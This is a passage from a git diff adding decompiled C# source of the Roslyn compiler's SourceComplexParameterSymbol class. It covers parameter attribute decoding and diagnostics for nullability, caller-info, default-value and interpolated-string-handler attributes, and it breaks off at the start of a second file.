ValidateCallerArgumentExpressionAttribute(arguments.AttributeSyntaxOpt, attribute, bindingDiagnosticBag); + } + else + { + if (ReportExplicitUseOfReservedAttributes(in arguments, ReservedAttributes.DynamicAttribute | ReservedAttributes.IsReadOnlyAttribute | ReservedAttributes.IsUnmanagedAttribute | ReservedAttributes.IsByRefLikeAttribute | ReservedAttributes.TupleElementNamesAttribute | ReservedAttributes.NullableAttribute | ReservedAttributes.NativeIntegerAttribute | ReservedAttributes.ScopedRefAttribute | ReservedAttributes.RequiresLocationAttribute)) + { + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.AllowNullAttribute)) + { + arguments.GetOrCreateData().HasAllowNullAttribute = true; + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.DisallowNullAttribute)) + { + arguments.GetOrCreateData().HasDisallowNullAttribute = true; + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.MaybeNullAttribute)) + { + arguments.GetOrCreateData().HasMaybeNullAttribute = true; + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.MaybeNullWhenAttribute)) + { + arguments.GetOrCreateData().MaybeNullWhenAttribute = DecodeMaybeNullWhenOrNotNullWhenOrDoesNotReturnIfAttribute(attribute); + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.NotNullAttribute)) + { + arguments.GetOrCreateData().HasNotNullAttribute = true; + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.NotNullWhenAttribute)) + { + arguments.GetOrCreateData().NotNullWhenAttribute = DecodeMaybeNullWhenOrNotNullWhenOrDoesNotReturnIfAttribute(attribute); + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.DoesNotReturnIfAttribute)) + { + arguments.GetOrCreateData().DoesNotReturnIfAttribute = DecodeMaybeNullWhenOrNotNullWhenOrDoesNotReturnIfAttribute(attribute); + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.NotNullIfNotNullAttribute)) + { + arguments.GetOrCreateData().AddNotNullIfParameterNotNull(attribute.DecodeNotNullIfNotNullAttribute()); + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.EnumeratorCancellationAttribute)) + { + arguments.GetOrCreateData().HasEnumeratorCancellationAttribute = true; + ValidateCancellationTokenAttribute(arguments.AttributeSyntaxOpt, (BindingDiagnosticBag)(object)arguments.Diagnostics); + return; + } + int targetAttributeSignatureIndex = attribute.GetTargetAttributeSignatureIndex(this, AttributeDescription.InterpolatedStringHandlerArgumentAttribute); + if ((uint)targetAttributeSignatureIndex <= 1u) + { + DecodeInterpolatedStringHandlerArgumentAttribute(ref arguments, bindingDiagnosticBag, targetAttributeSignatureIndex); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.UnscopedRefAttribute)) + { + if (!IsValidUnscopedRefAttributeTarget()) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_UnscopedRefAttributeUnsupportedTarget, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + else if ((int)base.DeclaredScope != 0) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_UnscopedScoped, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + } + } + } + + private bool IsValidUnscopedRefAttributeTarget() + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + if (UseUpdatedEscapeRules) + { + return (int)RefKind > 0; + } + return false; + } + + private static bool? DecodeMaybeNullWhenOrNotNullWhenOrDoesNotReturnIfAttribute(CSharpAttributeData attribute) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray commonConstructorArguments = ((AttributeData)attribute).CommonConstructorArguments; + if (commonConstructorArguments.Length == 1) + { + TypedConstant val = commonConstructorArguments[0]; + bool value = default(bool); + if (((TypedConstant)(ref val)).TryDecodeValue((SpecialType)7, ref value)) + { + return value; + } + } + return null; + } + + private void DecodeDefaultParameterValueAttribute(AttributeDescription description, ref DecodeWellKnownAttributeArguments arguments) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + CSharpAttributeData attribute = arguments.Attribute; + AttributeSyntax attributeSyntaxOpt = arguments.AttributeSyntaxOpt; + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + ConstantValue val = DecodeDefaultParameterValueAttribute(description, attribute, attributeSyntaxOpt, diagnose: true, bindingDiagnosticBag); + if (!val.IsBad) + { + VerifyParamDefaultValueMatchesAttributeIfAny(val, (SyntaxNode)(object)attributeSyntaxOpt, bindingDiagnosticBag); + if ((int)RefKind == 4 && base.IsOptional && CSharpSyntaxNode.Default == null) + { + bindingDiagnosticBag.Add(ErrorCode.WRN_RefReadonlyParameterDefaultValue, (SyntaxNode)(object)attributeSyntaxOpt, Name); + } + } + } + + private void VerifyParamDefaultValueMatchesAttributeIfAny(ConstantValue value, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + ParameterEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData != null) + { + ConstantValue defaultParameterValue = ((CommonParameterEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).DefaultParameterValue; + if (defaultParameterValue != ConstantValue.Unset && value != defaultParameterValue) + { + diagnostics.Add(ErrorCode.ERR_ParamDefaultValueDiffersFromAttribute, syntax.Location); + } + } + } + + private unsafe ConstantValue DecodeDefaultParameterValueAttribute(AttributeDescription description, CSharpAttributeData attribute, AttributeSyntax node, bool diagnose, BindingDiagnosticBag diagnosticsOpt) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + object obj = AttributeDescription.DefaultParameterValueAttribute; + if (((object)(*(AttributeDescription*)(&description))/*cast due to constrained. prefix*/).Equals(obj)) + { + return DecodeDefaultParameterValueAttribute(attribute, node, diagnose, diagnosticsOpt); + } + object obj2 = AttributeDescription.DecimalConstantAttribute; + if (((object)(*(AttributeDescription*)(&description))/*cast due to constrained. prefix*/).Equals(obj2)) + { + return ((AttributeData)attribute).DecodeDecimalConstantValue(); + } + return ((AttributeData)attribute).DecodeDateTimeConstantValue(); + } + + private ConstantValue DecodeDefaultParameterValueAttribute(CSharpAttributeData attribute, AttributeSyntax node, bool diagnose, BindingDiagnosticBag diagnosticsOpt) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Invalid comparison between Unknown and I4 + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Invalid comparison between Unknown and I4 + //IL_017b: Unknown result type (might be due to invalid IL or missing references) + //IL_016d: Unknown result type (might be due to invalid IL or missing references) + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + if (HasDefaultArgumentSyntax) + { + if (diagnose) + { + diagnosticsOpt.Add(ErrorCode.ERR_DefaultValueUsedWithAttributes, ((SyntaxNode)node.Name).Location); + } + return ConstantValue.Bad; + } + TypedConstant val = ((AttributeData)attribute).CommonConstructorArguments[0]; + SpecialType val2 = (((int)((TypedConstant)(ref val)).Kind == 2) ? ((NamedTypeSymbol)(object)((TypedConstant)(ref val)).TypeInternal).EnumUnderlyingType.SpecialType : ((TypedConstant)(ref val)).TypeInternal.SpecialType); + CSharpCompilation declaringCompilation = DeclaringCompilation; + ConstantValueTypeDiscriminator val3 = ConstantValue.GetDiscriminator(val2); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnosticsOpt, ContainingAssembly); + if ((int)val3 == 1) + { + if ((int)((TypedConstant)(ref val)).Kind == 4 || ((TypedConstant)(ref val)).ValueInternal != null) + { + if (diagnose) + { + diagnosticsOpt.Add(ErrorCode.ERR_DefaultValueBadValueType, ((SyntaxNode)node.Name).Location, ((TypedConstant)(ref val)).TypeInternal); + } + return ConstantValue.Bad; + } + if (!base.Type.IsReferenceType) + { + if (diagnose) + { + diagnosticsOpt.Add(ErrorCode.ERR_DefaultValueTypeMustMatch, ((SyntaxNode)node.Name).Location); + } + return ConstantValue.Bad; + } + val3 = (ConstantValueTypeDiscriminator)0; + } + else if (!declaringCompilation.Conversions.ClassifyConversionFromType((TypeSymbol)(object)((TypedConstant)(ref val)).TypeInternal, base.Type, isChecked: false, ref useSiteInfo).Kind.IsImplicitConversion()) + { + if (diagnose) + { + diagnosticsOpt.Add(ErrorCode.ERR_DefaultValueTypeMustMatch, ((SyntaxNode)node.Name).Location); + ((BindingDiagnosticBag)(object)diagnosticsOpt).Add((SyntaxNode)(object)node.Name, useSiteInfo); + } + return ConstantValue.Bad; + } + if (diagnose) + { + ((BindingDiagnosticBag)(object)diagnosticsOpt).Add((SyntaxNode)(object)node.Name, useSiteInfo); + } + return ConstantValue.Create(((TypedConstant)(ref val)).ValueInternal, val3); + } + + private bool IsValidCallerInfoContext(AttributeSyntax node) + { + if (!ContainingSymbol.IsExplicitInterfaceImplementation() && !ContainingSymbol.IsOperator()) + { + return !IsOnPartialImplementation(node); + } + return false; + } + + private bool IsOnPartialImplementation(AttributeSyntax node) + { + if (!(ContainingSymbol is MethodSymbol methodSymbol)) + { + return false; + } + MethodSymbol methodSymbol2 = (methodSymbol.IsPartialImplementation() ? methodSymbol : methodSymbol.PartialImplementationPart); + if ((object)methodSymbol2 == null) + { + return false; + } + if (!(node.Parent.Parent.Parent is ParameterListSyntax parameterListSyntax)) + { + return false; + } + if (!(parameterListSyntax.Parent is MethodDeclarationSyntax methodDeclarationSyntax)) + { + return false; + } + ImmutableArray.Enumerator enumerator = methodSymbol2.DeclaringSyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + if ((object)enumerator.Current.GetSyntax(default(CancellationToken)) == methodDeclarationSyntax) + { + return true; + } + } + return false; + } + + private void ValidateCallerLineNumberAttribute(AttributeSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + CSharpCompilation declaringCompilation = DeclaringCompilation; + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + if (!IsValidCallerInfoContext(node)) + { + Location location = ((SyntaxNode)node.Name).Location; + object[] array = new object[1]; + SyntaxToken identifier = CSharpSyntaxNode.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerLineNumberParamForUnconsumedLocation, location, array); + } + else if (!declaringCompilation.Conversions.HasCallerLineNumberConversion(TypeWithAnnotations.Type, ref useSiteInfo)) + { + TypeSymbol specialType = declaringCompilation.GetSpecialType((SpecialType)13); + diagnostics.Add(ErrorCode.ERR_NoConversionForCallerLineNumberParam, ((SyntaxNode)node.Name).Location, specialType, TypeWithAnnotations.Type); + } + else if (!base.HasExplicitDefaultValue && !ContainingSymbol.IsPartialImplementation()) + { + diagnostics.Add(ErrorCode.ERR_BadCallerLineNumberParamWithoutDefaultValue, ((SyntaxNode)node.Name).Location); + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node.Name, useSiteInfo); + } + + private void ValidateCallerFilePathAttribute(AttributeSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0122: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + CSharpCompilation declaringCompilation = DeclaringCompilation; + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + SyntaxToken identifier; + if (!IsValidCallerInfoContext(node)) + { + Location location = ((SyntaxNode)node.Name).Location; + object[] array = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerFilePathParamForUnconsumedLocation, location, array); + } + else if (!declaringCompilation.Conversions.HasCallerInfoStringConversion(TypeWithAnnotations.Type, ref useSiteInfo)) + { + TypeSymbol specialType = declaringCompilation.GetSpecialType((SpecialType)20); + diagnostics.Add(ErrorCode.ERR_NoConversionForCallerFilePathParam, ((SyntaxNode)node.Name).Location, specialType, TypeWithAnnotations.Type); + } + else if (!base.HasExplicitDefaultValue && !ContainingSymbol.IsPartialImplementation()) + { + diagnostics.Add(ErrorCode.ERR_BadCallerFilePathParamWithoutDefaultValue, ((SyntaxNode)node.Name).Location); + } + else if (IsCallerLineNumber) + { + Location location2 = ((SyntaxNode)node.Name).Location; + object[] array2 = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array2[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerLineNumberPreferredOverCallerFilePath, location2, array2); + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node.Name, useSiteInfo); + } + + private void ValidateCallerMemberNameAttribute(AttributeSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0147: Unknown result type (might be due to invalid IL or missing references) + //IL_014c: Unknown result type (might be due to invalid IL or missing references) + CSharpCompilation declaringCompilation = DeclaringCompilation; + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + SyntaxToken identifier; + if (!IsValidCallerInfoContext(node)) + { + Location location = ((SyntaxNode)node.Name).Location; + object[] array = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerMemberNameParamForUnconsumedLocation, location, array); + } + else if (!declaringCompilation.Conversions.HasCallerInfoStringConversion(TypeWithAnnotations.Type, ref useSiteInfo)) + { + TypeSymbol specialType = declaringCompilation.GetSpecialType((SpecialType)20); + diagnostics.Add(ErrorCode.ERR_NoConversionForCallerMemberNameParam, ((SyntaxNode)node.Name).Location, specialType, TypeWithAnnotations.Type); + } + else if (!base.HasExplicitDefaultValue && !ContainingSymbol.IsPartialImplementation()) + { + diagnostics.Add(ErrorCode.ERR_BadCallerMemberNameParamWithoutDefaultValue, ((SyntaxNode)node.Name).Location); + } + else if (IsCallerLineNumber) + { + Location location2 = ((SyntaxNode)node.Name).Location; + object[] array2 = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array2[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerLineNumberPreferredOverCallerMemberName, location2, array2); + } + else if (IsCallerFilePath) + { + Location location3 = ((SyntaxNode)node.Name).Location; + object[] array3 = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array3[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerFilePathPreferredOverCallerMemberName, location3, array3); + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node.Name, useSiteInfo); + } + + private void ValidateCallerArgumentExpressionAttribute(AttributeSyntax node, CSharpAttributeData attribute, BindingDiagnosticBag diagnostics) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_027d: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_014d: Unknown result type (might be due to invalid IL or missing references) + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_018d: Unknown result type (might be due to invalid IL or missing references) + //IL_0192: Unknown result type (might be due to invalid IL or missing references) + //IL_0262: Unknown result type (might be due to invalid IL or missing references) + //IL_0267: Unknown result type (might be due to invalid IL or missing references) + //IL_01ee: Unknown result type (might be due to invalid IL or missing references) + //IL_01f3: Unknown result type (might be due to invalid IL or missing references) + CSharpCompilation declaringCompilation = DeclaringCompilation; + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + SyntaxToken identifier; + if (!IsValidCallerInfoContext(node)) + { + Location location = ((SyntaxNode)node.Name).Location; + object[] array = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerArgumentExpressionParamForUnconsumedLocation, location, array); + } + else if (!declaringCompilation.Conversions.HasCallerInfoStringConversion(TypeWithAnnotations.Type, ref useSiteInfo)) + { + TypeSymbol specialType = declaringCompilation.GetSpecialType((SpecialType)20); + diagnostics.Add(ErrorCode.ERR_NoConversionForCallerArgumentExpressionParam, ((SyntaxNode)node.Name).Location, specialType, TypeWithAnnotations.Type); + } + else if (!base.HasExplicitDefaultValue && !ContainingSymbol.IsPartialImplementation()) + { + diagnostics.Add(ErrorCode.ERR_BadCallerArgumentExpressionParamWithoutDefaultValue, ((SyntaxNode)node.Name).Location); + } + else if (IsCallerLineNumber) + { + Location location2 = ((SyntaxNode)node.Name).Location; + object[] array2 = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array2[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerLineNumberPreferredOverCallerArgumentExpression, location2, array2); + } + else if (IsCallerFilePath) + { + Location location3 = ((SyntaxNode)node.Name).Location; + object[] array3 = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array3[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerFilePathPreferredOverCallerArgumentExpression, location3, array3); + } + else if (IsCallerMemberName) + { + Location location4 = ((SyntaxNode)node.Name).Location; + object[] array4 = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array4[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerMemberNamePreferredOverCallerArgumentExpression, location4, array4); + } + else + { + if (((AttributeData)attribute).CommonConstructorArguments.Length == 1) + { + ParameterEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData != null && ((CommonParameterEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).CallerArgumentExpressionParameterIndex == -1) + { + Location location5 = ((SyntaxNode)node.Name).Location; + object[] array5 = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array5[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerArgumentExpressionAttributeHasInvalidParameterName, location5, array5); + goto IL_0276; + } + } + ParameterEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData2 = GetEarlyDecodedWellKnownAttributeData(); + if (((earlyDecodedWellKnownAttributeData2 != null) ? new int?(((CommonParameterEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData2).CallerArgumentExpressionParameterIndex) : ((int?)null)) == Ordinal) + { + Location location6 = ((SyntaxNode)node.Name).Location; + object[] array6 = new object[1]; + identifier = CSharpSyntaxNode.Identifier; + array6[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_CallerArgumentExpressionAttributeSelfReferential, location6, array6); + } + } + goto IL_0276; + IL_0276: + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node.Name, useSiteInfo); + } + + private void ValidateCancellationTokenAttribute(AttributeSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if (needsReporting()) + { + Location location = ((SyntaxNode)node.Name).Location; + object[] array = new object[1]; + SyntaxToken identifier = CSharpSyntaxNode.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_UnconsumedEnumeratorCancellationAttributeUsage, location, array); + } + bool needsReporting() + { + if (!base.Type.Equals(DeclaringCompilation.GetWellKnownType((WellKnownType)298))) + { + return true; + } + if (ContainingSymbol is MethodSymbol { IsAsync: not false } methodSymbol && methodSymbol.ReturnType.OriginalDefinition.Equals(DeclaringCompilation.GetWellKnownType((WellKnownType)288))) + { + return false; + } + return true; + } + } + + private void DecodeInterpolatedStringHandlerArgumentAttribute(ref DecodeWellKnownAttributeArguments arguments, BindingDiagnosticBag diagnostics, int attributeIndex) + { + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + //IL_017c: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray containingSymbolParameters; + if (base.Type is NamedTypeSymbol { IsInterpolatedStringHandlerType: not false }) + { + if (this is LambdaParameterSymbol) + { + diagnostics.Add(ErrorCode.WRN_InterpolatedStringHandlerArgumentAttributeIgnoredOnLambdaParameters, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + TypedConstant constant = ((AttributeData)arguments.Attribute).CommonConstructorArguments[0]; + containingSymbolParameters = ContainingSymbol.GetParameters(); + ImmutableArray interpolatedStringHandlerArguments; + switch (attributeIndex) + { + case 0: + { + (int, ParameterSymbol)? tuple = decodeName(constant, ref arguments); + if (tuple.HasValue) + { + (int, ParameterSymbol) valueOrDefault = tuple.GetValueOrDefault(); + int item = valueOrDefault.Item1; + ParameterSymbol item2 = valueOrDefault.Item2; + interpolatedStringHandlerArguments = ImmutableArray.Create(item); + ArrayBuilder instance = ArrayBuilder.GetInstance(1); + instance.Add(item2); + break; + } + setInterpolatedStringHandlerAttributeError(ref arguments); + return; + } + case 1: + { + if (((TypedConstant)(ref constant)).IsNull) + { + setInterpolatedStringHandlerAttributeError(ref arguments); + diagnostics.Add(ErrorCode.ERR_NullInvalidInterpolatedStringHandlerArgumentName, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + return; + } + bool flag = false; + ArrayBuilder instance = ArrayBuilder.GetInstance(((TypedConstant)(ref constant)).Values.Length); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(((TypedConstant)(ref constant)).Values.Length); + ImmutableArray.Enumerator enumerator = ((TypedConstant)(ref constant)).Values.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypedConstant current = enumerator.Current; + (int, ParameterSymbol)? tuple = decodeName(current, ref arguments); + if (tuple.HasValue) + { + var (num, parameterSymbol) = tuple.GetValueOrDefault(); + if (!flag) + { + instance.Add(parameterSymbol); + instance2.Add(num); + continue; + } + } + flag = true; + } + if (flag) + { + instance.Free(); + instance2.Free(); + setInterpolatedStringHandlerAttributeError(ref arguments); + return; + } + interpolatedStringHandlerArguments = instance2.ToImmutableAndFree(); + break; + } + default: + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceComplexParameterSymbol.cs", 1314); + } + arguments.GetOrCreateData().InterpolatedStringHandlerArguments = interpolatedStringHandlerArguments; + } + else + { + diagnostics.Add(ErrorCode.ERR_TypeIsNotAnInterpolatedStringHandlerType, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location, base.Type); + setInterpolatedStringHandlerAttributeError(ref arguments); + } + (int Ordinal, ParameterSymbol? Parameter)? decodeName(TypedConstant val, ref DecodeWellKnownAttributeArguments reference) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Invalid comparison between Unknown and I4 + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Invalid comparison between Unknown and I4 + if (((TypedConstant)(ref val)).IsNull) + { + diagnostics.Add(ErrorCode.ERR_NullInvalidInterpolatedStringHandlerArgumentName, ((SyntaxNode)reference.AttributeSyntaxOpt).Location); + return null; + } + ITypeSymbolInternal typeInternal = ((TypedConstant)(ref val)).TypeInternal; + if (typeInternal == null || (int)typeInternal.SpecialType != 20) + { + return null; + } + string text = ((TypedConstant)(ref val)).DecodeValue((SpecialType)20); + if (text == "") + { + bool flag2 = !ContainingSymbol.RequiresInstanceReceiver(); + if (!flag2) + { + bool flag3 = ((ContainingSymbol is MethodSymbol { MethodKind: var methodKind } && ((int)methodKind <= 1 || (int)methodKind == 3)) ? true : false); + flag2 = flag3; + } + if (flag2) + { + diagnostics.Add(ErrorCode.ERR_NotInstanceInvalidInterpolatedStringHandlerArgumentName, ((SyntaxNode)reference.AttributeSyntaxOpt).Location, ContainingSymbol); + return null; + } + return (-1, null); + } + ParameterSymbol parameterSymbol2 = ImmutableArrayExtensions.FirstOrDefault(containingSymbolParameters, (Func)((ParameterSymbol param, string name) => string.Equals(param.Name, name, StringComparison.Ordinal)), text); + if ((object)parameterSymbol2 == null) + { + diagnostics.Add(ErrorCode.ERR_InvalidInterpolatedStringHandlerArgumentName, ((SyntaxNode)reference.AttributeSyntaxOpt).Location, text, ContainingSymbol); + return null; + } + if ((object)parameterSymbol2 == this) + { + diagnostics.Add(ErrorCode.ERR_CannotUseSelfAsInterpolatedStringHandlerArgument, ((SyntaxNode)reference.AttributeSyntaxOpt).Location); + return null; + } + if (parameterSymbol2.Ordinal > Ordinal) + { + diagnostics.Add(ErrorCode.WRN_ParameterOccursAfterInterpolatedStringHandlerParameter, ((SyntaxNode)reference.AttributeSyntaxOpt).Location, parameterSymbol2.Name, Name); + } + return (parameterSymbol2.Ordinal, parameterSymbol2); + } + static void setInterpolatedStringHandlerAttributeError(ref DecodeWellKnownAttributeArguments reference) + { + reference.GetOrCreateData().InterpolatedStringHandlerArguments = default(ImmutableArray); + } + } + + internal override void PostDecodeWellKnownAttributes(ImmutableArray boundAttributes, ImmutableArray allAttributeSyntaxNodes, BindingDiagnosticBag diagnostics, AttributeLocation symbolPart, WellKnownAttributeData decodedData) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Expected I4, but got Unknown + ParameterWellKnownAttributeData parameterWellKnownAttributeData = (ParameterWellKnownAttributeData)(object)decodedData; + if (parameterWellKnownAttributeData != null) + { + RefKind refKind = RefKind; + switch (refKind - 1) + { + case 0: + if (((CommonParameterWellKnownAttributeData)parameterWellKnownAttributeData).HasOutAttribute && !((CommonParameterWellKnownAttributeData)parameterWellKnownAttributeData).HasInAttribute) + { + diagnostics.Add(ErrorCode.ERR_OutAttrOnRefParam, GetFirstLocation()); + } + break; + case 1: + if (((CommonParameterWellKnownAttributeData)parameterWellKnownAttributeData).HasInAttribute) + { + diagnostics.Add(ErrorCode.ERR_InAttrOnOutParam, GetFirstLocation()); + } + break; + case 2: + if (((CommonParameterWellKnownAttributeData)parameterWellKnownAttributeData).HasOutAttribute) + { + diagnostics.Add(ErrorCode.ERR_OutAttrOnInParam, GetFirstLocation()); + } + break; + case 3: + if (((CommonParameterWellKnownAttributeData)parameterWellKnownAttributeData).HasOutAttribute) + { + diagnostics.Add(ErrorCode.ERR_OutAttrOnRefReadonlyParam, GetFirstLocation()); + } + break; + } + } + base.PostDecodeWellKnownAttributes(boundAttributes, allAttributeSyntaxNodes, diagnostics, symbolPart, decodedData); + } + + internal override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + GetAttributes(); + _ = ExplicitDefaultConstantValue; + state.SpinWaitComplete(CompletionPart.ComplexParameterSymbolAll, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceComplexParameterSymbolWithCustomModifiersPrecedingRef.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceComplexParameterSymbolWithCustomModifiersPrecedingRef.cs new file mode 100644 index 0000000..52b69a2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceComplexParameterSymbolWithCustomModifiersPrecedingRef.cs @@ -0,0 +1,18 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceComplexParameterSymbolWithCustomModifiersPrecedingRef : SourceComplexParameterSymbolBase +{ + private readonly ImmutableArray _refCustomModifiers; + + public override ImmutableArray RefCustomModifiers => 